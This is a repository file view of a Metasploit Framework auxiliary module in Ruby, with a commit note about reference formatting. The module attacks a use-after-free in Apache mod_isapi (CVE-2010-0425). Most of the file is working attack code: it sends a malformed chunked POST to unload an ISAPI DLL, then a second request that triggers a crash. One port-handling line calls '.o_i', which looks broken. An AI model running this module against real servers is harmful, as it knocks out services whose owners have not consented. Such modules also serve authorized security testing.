Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
102 lines
3.2 KiB
Ruby
102 lines
3.2 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache mod_isapi <= 2.2.14 Dangling Pointer',
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'Description' => %q{
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This module triggers a use-after-free vulnerability in the Apache Software
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Foundation mod_isapi extension. In order to reach the vulnerable code, the
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target server must have an ISAPI module installed and configured.
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By making a request that terminates abnormally (either an aborted TCP connection or
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an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
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if another request comes for that ISAPI module, previously obtained pointers will
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be used resulting in an access violation or potentially arbitrary code execution.
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Although arbitrary code execution is theoretically possible, a real-world method of
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invoking this consequence has not been proven. In order to do so, one would need to
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find a situation where a particular ISAPI module loads at an image base address
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that can be re-allocated by a remote attacker.
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Limited success was encountered using two separate ISAPI modules. In this scenario,
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a second ISAPI module was loaded into the same memory area as the previously
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unloaded module.
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},
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'Author' =>
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[
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'Brett Gervasoni', # original discovery
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'jduck'
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],
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'Version' => '$Revision$',
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-0425' ],
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[ 'OSVDB', '62674'],
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[ 'BID', '38494' ],
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[ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
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[ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
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[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
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[ 'EDB', '11650' ]
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],
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'DisclosureDate' => 'Mar 05 2010'))
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register_options([
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Opt::RPORT(80),
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OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
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])
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end
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def run
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serverIP = datastore['RHOST']
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if (datastore['RPORT'].o_i != 80)
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serverIP += ":" + datastore['RPORT'].to_s
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end
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isapiURI = datastore['ISAPI']
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# Create a stale pointer using the vulnerability
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print_status("Causing the ISAPI dll to be loaded and unloaded...")
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unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
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"Pragma: no-cache\r\n" +
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"Proxy-Connection: Keep-Alive\r\n" +
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"Host: " + serverIP + "\r\n" +
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"Transfer-Encoding: chunked\r\n" +
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"Content-Length: 40334\r\n\r\n" +
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Rex::Text.rand_text_alphanumeric(rand(128)+128)
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connect
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sock.put(unload_trigger)
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disconnect
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# Now make the stale pointer get used...
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print_status("Triggering the crash ...")
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data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
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crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
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"Host: " + serverIP + "\r\n" +
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"Content-Length: #{data.length}\r\n\r\n" +
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data
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connect
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sock.put(crash_trigger)
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disconnect
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end
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end
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